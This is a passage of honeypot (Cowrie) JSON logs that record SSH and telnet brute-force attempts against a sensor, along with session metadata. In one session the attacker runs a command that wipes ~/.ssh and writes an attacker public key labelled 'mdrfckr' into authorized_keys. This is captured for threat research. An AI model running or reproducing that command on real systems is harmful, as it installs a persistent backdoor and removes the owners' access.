etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:08.107535Z","src_ip":"20.193.141.133","session":"13204054b921","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":32862,"dst_ip":"159.203.135.109","dst_port":23,"session":"744b86afcaee","protocol":"telnet","message":"New connection: 160.250.202.248:32862 (159.203.135.109:23) [session: 744b86afcaee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:08.209536Z"}
{"eventid":"cowrie.client.version","version":"POST /_next/server HTTP/1.1","message":"Remote SSH version: POST /_next/server HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:08.288649Z","src_ip":"193.32.162.28","session":"d1c5162276ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:08.293399Z","src_ip":"193.32.162.28","session":"d1c5162276ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":33890,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3dec3e03add","protocol":"telnet","message":"New connection: 160.250.202.248:33890 (159.203.135.109:23) [session: b3dec3e03add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:08.633503Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"1234567","message":"login attempt [oracle/1234567] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:08.892574Z","src_ip":"20.193.141.133","session":"13204054b921","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":34932,"dst_ip":"159.203.135.109","dst_port":23,"session":"812c0f7e496e","protocol":"telnet","message":"New connection: 160.250.202.248:34932 (159.203.135.109:23) [session: 812c0f7e496e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:09.013497Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:09.302016Z","src_ip":"20.193.141.133","session":"13204054b921","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:09.304756Z","src_ip":"20.193.141.133","session":"13204054b921","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:09.307503Z","src_ip":"20.193.141.133","session":"13204054b921","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:09.498975Z","src_ip":"20.193.141.133","session":"13204054b921","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:09.917798Z","src_ip":"20.193.141.133","session":"13204054b921","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:09.921002Z","src_ip":"20.193.141.133","session":"13204054b921","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:10.119227Z","src_ip":"20.193.141.133","session":"13204054b921","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:10.123060Z","src_ip":"20.193.141.133","session":"13204054b921","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":21030,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ac45a419c09","protocol":"ssh","message":"New connection: 20.193.141.133:21030 (10.17.0.5:22) [session: 6ac45a419c09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:10.336112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:10.341168Z","src_ip":"20.193.141.133","session":"6ac45a419c09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.28","src_port":33082,"dst_ip":"159.203.135.109","dst_port":22,"session":"78a6cd4136b8","protocol":"ssh","message":"New connection: 193.32.162.28:33082 (159.203.135.109:22) [session: 78a6cd4136b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:10.403929Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:10.549489Z","src_ip":"20.193.141.133","session":"6ac45a419c09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:11.416464Z","src_ip":"20.193.141.133","session":"6ac45a419c09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.507350206375122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:11.481597Z","src_ip":"160.250.202.248","session":"2528efe7a025","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:12.627802Z","src_ip":"20.193.141.133","session":"6ac45a419c09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.141.133","src_port":31108,"dst_ip":"10.17.0.5","dst_port":22,"session":"664f16b3b3d0","protocol":"ssh","message":"New connection: 20.193.141.133:31108 (10.17.0.5:22) [session: 664f16b3b3d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:12.796259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:12.800934Z","src_ip":"20.193.141.133","session":"664f16b3b3d0","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"POST /app HTTP/1.1","message":"Remote SSH version: POST /app HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:12.932837Z","src_ip":"193.32.162.28","session":"78a6cd4136b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:12.938515Z","src_ip":"193.32.162.28","session":"78a6cd4136b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:12.983868Z","src_ip":"20.193.141.133","session":"664f16b3b3d0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:13.747154Z","src_ip":"20.193.141.133","session":"664f16b3b3d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:13.938085Z","src_ip":"20.193.141.133","session":"13204054b921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:13.943568Z","src_ip":"20.193.141.133","session":"664f16b3b3d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.28","src_port":33446,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc7cf502df6e","protocol":"ssh","message":"New connection: 193.32.162.28:33446 (159.203.135.109:22) [session: dc7cf502df6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:15.288521Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34636,"dst_ip":"159.203.135.109","dst_port":22,"session":"0b7894a09cbe","protocol":"ssh","message":"New connection: 159.203.92.129:34636 (159.203.135.109:22) [session: 0b7894a09cbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:15.537820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:15.541898Z","src_ip":"159.203.92.129","session":"0b7894a09cbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:15.546713Z","src_ip":"159.203.92.129","session":"0b7894a09cbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adam","password":"11111","message":"login attempt [adam/11111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:15.557711Z","src_ip":"159.203.92.129","session":"0b7894a09cbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:16.564379Z","src_ip":"159.203.92.129","session":"0b7894a09cbe","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"POST /api/route HTTP/1.1","message":"Remote SSH version: POST /api/route HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:17.602130Z","src_ip":"193.32.162.28","session":"dc7cf502df6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:17.606857Z","src_ip":"193.32.162.28","session":"dc7cf502df6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.427905321121216,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:19.485756Z","src_ip":"160.250.202.248","session":"4c73ce1e9f71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":37018,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cec1a8dafc7","protocol":"telnet","message":"New connection: 160.250.202.248:37018 (159.203.135.109:23) [session: 6cec1a8dafc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:21.743673Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":47602,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3199ba82683","protocol":"telnet","message":"New connection: 160.250.202.248:47602 (159.203.135.109:23) [session: d3199ba82683]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:25.978521Z"}
{"eventid":"cowrie.session.closed","duration":30.450486183166504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:26.476779Z","src_ip":"160.250.202.248","session":"2b1afbb7d116","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":51192,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc32097a7c1e","protocol":"telnet","message":"New connection: 160.250.202.248:51192 (159.203.135.109:23) [session: bc32097a7c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:27.497448Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":57288,"dst_ip":"159.203.135.109","dst_port":23,"session":"721c0e844c04","protocol":"telnet","message":"New connection: 160.250.202.248:57288 (159.203.135.109:23) [session: 721c0e844c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:30.104701Z"}
{"eventid":"cowrie.session.closed","duration":30.869369506835938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:30.923705Z","src_ip":"160.250.202.248","session":"e219110940e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.244837760925293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:35.483989Z","src_ip":"160.250.202.248","session":"d7a28ab1d259","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.514927864074707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:36.489415Z","src_ip":"160.250.202.248","session":"1065b1da4314","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":47186,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b188db2d1da","protocol":"telnet","message":"New connection: 160.250.202.248:47186 (159.203.135.109:23) [session: 9b188db2d1da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:38.015645Z"}
{"eventid":"cowrie.session.closed","duration":30.272961616516113,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:38.482367Z","src_ip":"160.250.202.248","session":"744b86afcaee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72096300125122,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:38.486318Z","src_ip":"160.250.202.248","session":"a3a4c508ab7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84361958503723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:39.477011Z","src_ip":"160.250.202.248","session":"b3dec3e03add","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.480801582336426,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:39.494175Z","src_ip":"160.250.202.248","session":"812c0f7e496e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00581502914429,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:44.495841Z","src_ip":"94.79.18.201","session":"e8e2cf78ed87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.79.18.201","src_port":54592,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbf878aa9886","protocol":"telnet","message":"New connection: 94.79.18.201:54592 (159.203.135.109:23) [session: dbf878aa9886]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:45.008384Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.250.202.248","src_port":42552,"dst_ip":"159.203.135.109","dst_port":23,"session":"e815213e68db","protocol":"telnet","message":"New connection: 160.250.202.248:42552 (159.203.135.109:23) [session: e815213e68db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:49.053813Z"}
{"eventid":"cowrie.session.closed","duration":30.788589239120483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:52.532206Z","src_ip":"160.250.202.248","session":"6cec1a8dafc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51164,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2de42363770","protocol":"ssh","message":"New connection: 159.203.92.129:51164 (159.203.135.109:22) [session: e2de42363770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:54.622546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:18:54.627590Z","src_ip":"159.203.92.129","session":"e2de42363770","protocol":"ssh"}
